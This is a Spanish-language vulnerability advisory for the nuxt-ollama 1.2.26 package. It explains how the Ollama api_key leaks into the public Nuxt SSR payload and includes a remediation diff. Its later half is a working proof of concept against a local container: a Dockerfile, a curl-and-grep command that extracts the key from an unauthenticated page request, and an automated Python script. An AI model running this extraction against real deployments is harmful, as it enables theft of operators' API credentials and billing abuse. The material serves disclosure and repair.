Exposición de credenciales en la configuración pública del runtime de Nuxt

Resumen

nuxt-ollama@1.2.26 fusiona incondicionalmente todas las opciones del módulo, incluyendo api_key, en la configuración de runtime pública de Nuxt (runtimeConfig.public.ollama). Nuxt serializa runtimeConfig.public en la respuesta HTML del SSR dentro de un bloque de payload <script> (window.__NUXT__), lo que hace que la API key quede visible en texto plano para cualquier cliente HTTP no autenticado que solicite la página. Un atacante sin credenciales puede robar la API key de Ollama cloud con una única petición HTTP GET y utilizarla para realizar peticiones arbitrarias a la API de Ollama a expensas del operador.

Detalles técnicos

La vulnerabilidad es un defecto de diseño en src/module.ts. Durante la inicialización del módulo Nuxt, el objeto completo _options, que contiene api_key cuando se configura para Ollama cloud según la documentación en README.md:71-80, se fusiona en el espacio de nombres de la configuración de runtime pública:

typescript
// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)

El pipeline SSR de Nuxt serializa runtimeConfig.public y lo embebe en cada página HTML renderizada en servidor para la hidratación del lado cliente. Esto resulta en que api_key aparezca literalmente en el bloque de script window.__NUXT__:

html
<script>
window.__NUXT__={};
window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"  // secreto expuesto al navegador
    }
  }
}
</script>

El composable del lado cliente (src/runtime/composables/useOllama.ts) lee este valor y lo envía como cabecera Authorization: Bearer en las llamadas a la API de Ollama desde el cliente:

typescript
// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
  headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })

El flujo completo de datos desde el origen hasta el sumidero es el siguiente:

  1. README.md:71-80: la documentación oficial instruye a los usuarios a establecer ollama.api_key para modelos Ollama cloud.
  2. src/module.ts:35-36 (origen): api_key se fusiona en runtimeConfig.public.ollama.
  3. Runtime SSR de Nuxt: runtimeConfig.public se serializa en el payload HTML __NUXT__.
  4. src/runtime/composables/useOllama.ts:6: el composable del navegador lee useRuntimeConfig().public.ollama.
  5. src/runtime/composables/useOllama.ts:8-10 (sumidero): options.api_key se convierte en headers.Authorization en la petición HTTP del lado cliente.

El valor de api_key nunca es privado (es decir, nunca se coloca en runtimeConfig.ollama) y no existe ningún proceso de saneamiento que lo elimine del espacio de nombres público antes de la serialización.

Remediación recomendada: Mover api_key a la configuración de runtime privada y eliminarlo del composable del navegador:

diff
-    const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
-    runtimeConfig.public.ollama = defu(currentConfig, _options)
+    const { api_key, ...publicOptions } = _options
+    const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
+    runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+    const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
+    runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })

La api_key debería consumirse únicamente en la utilidad del lado servidor (src/runtime/server/utils/useOllama.ts) mediante useRuntimeConfig().ollama.api_key.

Prueba de concepto (PoC)

Requisitos previos: Docker, Python 3

Paso 1: Construir el contenedor de la aplicación Nuxt vulnerable

bash
docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t nuxt-ollama-vuln-001 \
  /path/to/npmAI_735_thoda-dev__nuxt-ollama

El Dockerfile utiliza el código fuente de nuxt-ollama en el commit 6989ea8 e inyecta la siguiente configuración playground/nuxt.config.ts, que reproduce exactamente el patrón de configuración cloud documentado en README.md:71-80:

typescript
export default defineNuxtConfig({
  modules: ['../src/module'],
  compatibilityDate: '2025-10-29',
  devtools: { enabled: false },
  ollama: {
    protocol: 'https',
    host: 'api.ollama.com',
    api_key: 'LEAKED_TEST_KEY_123'   // clave centinela
  }
})

Paso 2: Iniciar el contenedor

bash
docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

Paso 3: Recuperar la API key con una única petición HTTP no autenticada

bash
curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Resultado esperado: api_key":"LEAKED_TEST_KEY_123"

Script PoC automatizado

bash
python3 /path/to/vuln-001/poc.py

Salida esperada (confirmada en reproducción dinámica):

code
window.__NUXT__.config={
  public:{
    ollama:{
      protocol:"https",
      host:"api.ollama.com",
      port:"",
      proxy:false,
      api_key:"LEAKED_TEST_KEY_123"
    }
  }
}

La clave centinela LEAKED_TEST_KEY_123 aparece en el cuerpo HTML de una respuesta HTTP GET no autenticada, confirmando la filtración.

Impacto

Esta es una vulnerabilidad de exposición de credenciales (CWE-522). Cualquier parte no autenticada, incluyendo observadores pasivos de red, rastreadores web o visitantes anónimos, que solicite la página HTML de una aplicación que use nuxt-ollama con una api_key cloud configurada puede extraer la API key del payload del script __NUXT__.

Quiénes se ven afectados:

  • Operadores y desarrolladores que siguen la documentación oficial para configurar ollama.api_key para modelos Ollama cloud. Desconocen que la clave se está publicando a cada visitante.
  • Usuarios finales de aplicaciones construidas con este módulo no están directamente en riesgo, pero sus peticiones pueden verse interceptadas o el servicio degradado si los atacantes agotan los límites de tasa o las cuotas de facturación con la clave robada.

Consecuencias potenciales del robo de la clave:

  • Uso no autorizado de la API cloud de Ollama a costa del operador.
  • Agotamiento de límites de tasa o abuso de cuotas.
  • Exfiltración de datos si la clave comprometida tiene acceso de lectura a modelos almacenados o conversaciones.
  • Daño reputacional e interrupción del servicio para la aplicación afectada.

La vulnerabilidad no requiere ninguna condición especial más allá de que el operador siga la configuración documentada. El atacante no necesita interacción del usuario ni autenticación previa.

Artefactos de reproducción

Dockerfile

dockerfile
# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 - Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)

FROM node:20-alpine

RUN npm install -g pnpm@10.33.4

WORKDIR /app

COPY repo/ ./

RUN pnpm install --frozen-lockfile

RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
  modules: ['../src/module'],
  compatibilityDate: '2025-10-29',
  devtools: { enabled: false },
  ollama: {
    protocol: 'https',
    host: 'api.ollama.com',
    api_key: 'LEAKED_TEST_KEY_123'
  }
})
EOF

RUN cat > playground/app.vue << 'EOF'
<template>
  <div>nuxt-ollama VULN-001 PoC - check Nuxt SSR payload for api_key</div>
</template>
EOF

RUN pnpm exec nuxi build playground

EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO_HOST=0.0.0.0
ENV NITRO_PORT=3000

CMD ["node", "/app/playground/.output/server/index.mjs"]

poc.py

python
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Paquete : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Titulo  : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE     : CWE-522 - Insufficiently Protected Credentials
CVSS    : 7.5 High  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
"""

import json
import os
import subprocess
import sys
import time
import urllib.request

TARGET_KEY     = "LEAKED_TEST_KEY_123"
IMAGE_NAME     = "nuxt-ollama-vuln-001"
CONTAINER_NAME = "nuxt-ollama-poc-001"
HOST           = "127.0.0.1"
PORT           = 3000
URL            = f"http://{HOST}:{PORT}/"

SCRIPT_DIR  = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR  = os.path.dirname(SCRIPT_DIR)
DOCKERFILE  = os.path.join(SCRIPT_DIR, "Dockerfile")
RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")

BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
RUN_CMD   = f"docker run -d --name {CONTAINER_NAME} -p {PORT}:{PORT} {IMAGE_NAME}"
POC_CMD   = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"


def run_cmd(cmd_list, check=True, capture=False):
    print(f"[cmd] {' '.join(cmd_list)}", flush=True)
    return subprocess.run(cmd_list, check=check, capture_output=capture, text=bool(capture))


def cleanup_container():
    subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)


def wait_for_server(url, timeout=180, interval=5):
    print(f"[*] Esperando servidor en {url}  (timeout={timeout}s)", flush=True)
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=5) as resp:
                if resp.status < 500:
                    print(f"[+] Servidor activo - HTTP {resp.status}", flush=True)
                    return True
        except Exception:
            pass
        time.sleep(interval)
    return False


def save_result(data):
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, ensure_ascii=False, indent=2)
    print(f"\n[*] Resultado guardado en {RESULT_FILE}", flush=True)


def main():
    print("=" * 66)
    print("VULN-001 PoC - nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
    print("=" * 66, flush=True)

    cleanup_container()

    print("\n[PASO 1] Construyendo imagen Docker (puede tardar varios minutos) ...", flush=True)
    build_rc = run_cmd(
        ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
        check=False,
    ).returncode

    if build_rc != 0:
        save_result({
            "passed": False, "verdict": "FAIL",
            "reason": "Fallo en la construccion de la imagen Docker.",
            "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
            "evidence": f"docker build salio con returncode={build_rc}",
            "artifacts": ["Dockerfile", "poc.py"],
        })
        sys.exit(1)

    print("[+] Imagen construida correctamente.", flush=True)

    print("\n[PASO 2] Iniciando contenedor ...", flush=True)
    run_rc = run_cmd(
        ["docker", "run", "-d", "--name", CONTAINER_NAME, "-p", f"{PORT}:{PORT}", IMAGE_NAME],
        check=False,
    ).returncode

    if run_rc != 0:
        save_result({
            "passed": False, "verdict": "FAIL",
            "reason": "Fallo al iniciar el contenedor Docker.",
            "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
            "evidence": f"docker run salio con returncode={run_rc}",
            "artifacts": ["Dockerfile", "poc.py"],
        })
        sys.exit(1)

    print("\n[PASO 3] Esperando servidor SSR de Nuxt ...", flush=True)
    if not wait_for_server(URL, timeout=180):
        logs = subprocess.run(["docker", "logs", CONTAINER_NAME], capture_output=True, text=True)
        log_snippet = (logs.stdout + logs.stderr)[-2000:]
        save_result({
            "passed": False, "verdict": "INCOMPLETE",
            "reason": "El servidor SSR de Nuxt no respondio en 180 segundos.",
            "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
            "evidence": log_snippet, "artifacts": ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)

    print(f"\n[PASO 4] GET {URL} ...", flush=True)
    try:
        with urllib.request.urlopen(URL, timeout=15) as resp:
            html = resp.read().decode("utf-8", errors="replace")
    except Exception as exc:
        save_result({
            "passed": False, "verdict": "FAIL",
            "reason": f"Fallo en la peticion HTTP: {exc}",
            "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
            "evidence": str(exc), "artifacts": ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)

    print(f"[+] Recibidos {len(html)} bytes.", flush=True)

    print(f"\n[PASO 5] Buscando '{TARGET_KEY}' en la respuesta ...", flush=True)

    if TARGET_KEY in html:
        idx     = html.index(TARGET_KEY)
        start   = max(0, idx - 200)
        end     = min(len(html), idx + len(TARGET_KEY) + 200)
        excerpt = html[start:end].strip()

        print(f"\n{'='*66}")
        print("[PASS]  VULNERABILIDAD CONFIRMADA")
        print(f"'{TARGET_KEY}' presente en la respuesta HTTP no autenticada.")
        print(f"{'='*66}")
        print(f"Extracto de evidencia:\n\n{excerpt}\n")

        save_result({
            "passed": True, "verdict": "PASS",
            "reason": (
                "nuxt-ollama@1.2.26 fusiona api_key en runtimeConfig.public.ollama "
                "(src/module.ts:36). Nuxt SSR serializa ese valor en el payload HTML "
                "__NUXT__, exponiendo LEAKED_TEST_KEY_123 en texto plano ante "
                "cualquier peticion GET no autenticada."
            ),
            "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
            "evidence": excerpt, "artifacts": ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(0)
    else:
        snippet = html[:3000]
        print(f"[FAIL]  '{TARGET_KEY}' NO encontrado en el cuerpo de la respuesta HTTP.")
        save_result({
            "passed": False, "verdict": "FAIL",
            "reason": f"'{TARGET_KEY}' no encontrado. Posible diferencia en formato de serializacion.",
            "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD,
            "evidence": snippet[:1500], "artifacts": ["Dockerfile", "poc.py"],
        })
        cleanup_container()
        sys.exit(1)


if __name__ == "__main__":
    main()